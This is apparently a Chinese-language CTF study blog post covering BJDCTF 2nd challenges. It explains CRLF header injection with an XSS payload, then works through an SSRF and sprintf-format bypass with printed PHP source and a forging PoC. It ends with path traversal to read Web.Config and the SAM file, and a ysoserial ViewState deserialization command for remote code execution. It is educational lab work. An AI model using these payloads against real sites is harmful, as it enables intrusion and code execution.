学偏了!

看了看题目!感觉代码审计太难了!

学到了个新东西!

CRLF 返回头拆分

https://www.imaegoo.com/2019/web-security/#CRLF-%E8%BF%94%E5%9B%9E%E5%A4%B4%E6%8B%86%E5%88%86

CRLF 返回头拆分

参数注入返回头

CRLF是”回车换行”(\r\n)的简称。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF区分HTTP头和HTTP体。

所以,一旦我们能够控制HTTP头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS。

在以下情况下发生HTTP响应拆分:

  • 数据通过不受信任的来源进入Web应用程序,最常见的是HTTP请求。
  • 数据包含在发送给Web用户的HTTP响应标头中,而不会对恶意字符进行验证。

对于HRS最简单的利用方式是注入两个\r\n,之后写入XSS代码,来构造一个XSS。

比如一个网站接受URL参数/redirect?url=,URL放在Response Location后面跳转。

Request

GET /redirect?url=new-page HTTP/1.1
Response

HTTP/1.1 302
Location: new-page

如果我们输入的是

Request

GET /redirect?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)> HTTP/1.1
Response

HTTP/1.1 302
Location:

<img src=1 onerror=alert(/xss/)>

糟了,由于Location为空,Chrome并没有跳转,而是把两个CRLF后的<ing>渲染了出来,造成了XSS注入。

此攻击方式由于会注入返回头,危害大于XSS,其能够轻松修改返回头,导致浏览器XSS Auditor,Frame Deny等防护失效,还能恶意注入cookie的JSESSIONID实现会话固定漏洞。

预防

  • 过滤\r,\n,并且避免输入的数据污染到其他HTTP头。

[BJDCTF 2nd]文件探测

image-20210325234235453

发现home.php

然后文件包含!

读取system

only 127.0.0.1 can access! You know what I mean right?
your ip address is 172.16.11.000

http://127.0.0.1/admin.php?a=1
q1=1&q2=http://127.0.0.1/admin.php?a=1&q3=GET%s%

payload

去掉url拼接的.y1ng.txt

 我们只需要将后面接一个不存在的get参数就可以绕过了。例如:http://127.0.0.1/xxxxxxxx.php?mayi=666y1ng.txt 他最后显示的页面还是http://127.0.0.1/xxxxxxxx.php 这样就可以成功绕过了。

还可以利用锚点
http://127.0.0.1/xxxxxxxx.php#666y1ng.txt

sprintf输出格式问题

sprintf("$url method&content_size:$method%d", $detect)我们可以知道 %d 前面还有一个可以控制的变量,也就是我们传入的q3。经过了解,我们知道在sprintf这里面 % 才是转义字符,我们可以传入POST%s%最后把%d给取消转义。达到绕过效果

~$ python fuck.py -u "http://127.0.0.1/admin.php?a=a.y1ng.txt" -M get%s% -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei
http://127.0.0.1/admin.php?a=a.y1ng.txt method&content_size:get <?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>
%d

得到admin.php后审计一下!

poc

<?php

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5('172.16.128.254',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}


$cipher = aesEn("", 'y1ng');
echo $cipher;

最后把PHPSESSID 的值去掉! 得到答案!

image-20210326131949418

考点:文件包含+php代码审计+ssrf

[Windows][BJDCTF 2nd]EasyAspDotNet

知识点:

  • 任意文件读取

  • ASP.NET VIEWSTATE 反序列化有回显 RCE

  • Windows 基本操作

    https://devco.re/blog/2020/03/11/play-with-dotnet-viewstate-exploit-and-create-fileless-webshell/

    https://www.zhaoj.in/read-6497.html

<img id="image1" src="/ImgLoad.aspx?path=4.gif" /><br>

首先是任意文件读取!

ImgLoad.aspx?path=4.png

让他报错!

image-20210326134627365

读取Web.Config文件

ImgLoad.aspx?path=../../Web.Config

/ImgLoad.aspx?path=../../../../../../../../../../../../../../C:/Windows/System32/config/sam

发现没用!算了!

view-source:http://07ceea5e-bb22-4f42-b8a1-510664250168.node3.buuoj.cn/ImgLoad.aspx?path=../../Web.Config

想用wget发现不能下载!


<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<machineKey validationKey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9" decryptionKey="B0E528C949E59127E7469C9AF0764506BAFD2AB8150A75A5" validation="SHA1" decryption="3DES" />
</system.web>
</configuration>

查看 web.config 的内容,其中 machineKey 中的值均为固定值,根据上面那篇文章所述,这些值用来加密反序列化之后的 VIEWSTATE 等值。

只要知道了密钥!自己写个paylaod再加密执行即可!

漏洞原理:

最近微软产品Exchange Server 爆出一个严重漏洞CVE-2020-0688,问题发生的原因是每台Exchange Server 安装完后在某个Component 中都使用了同一把固定的Machine Key,而相信大家都已经很熟悉取得Machine Key 之后的利用套路了,可以窜改ASP.NET Form 中的VIEWSTATE 参数值以进行反序列化攻击,从而达成Remote Code Execution 控制整台主机伺服器。

最后post提交!

生成exp然后运行!

.\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile -c "ExploitClass.cs;./System.dll;./System.Web.dll" --generator="CA0B0334" --validationalg="SHA1" --validationkey="47A7D23AF52BEF07FB9EE7BD395CD9E19937682ECB288913CE758DE5035CF40DC4DB2B08479BF630CFEAF0BDFEE7242FC54D89745F7AF77790A4B5855A08EAC9"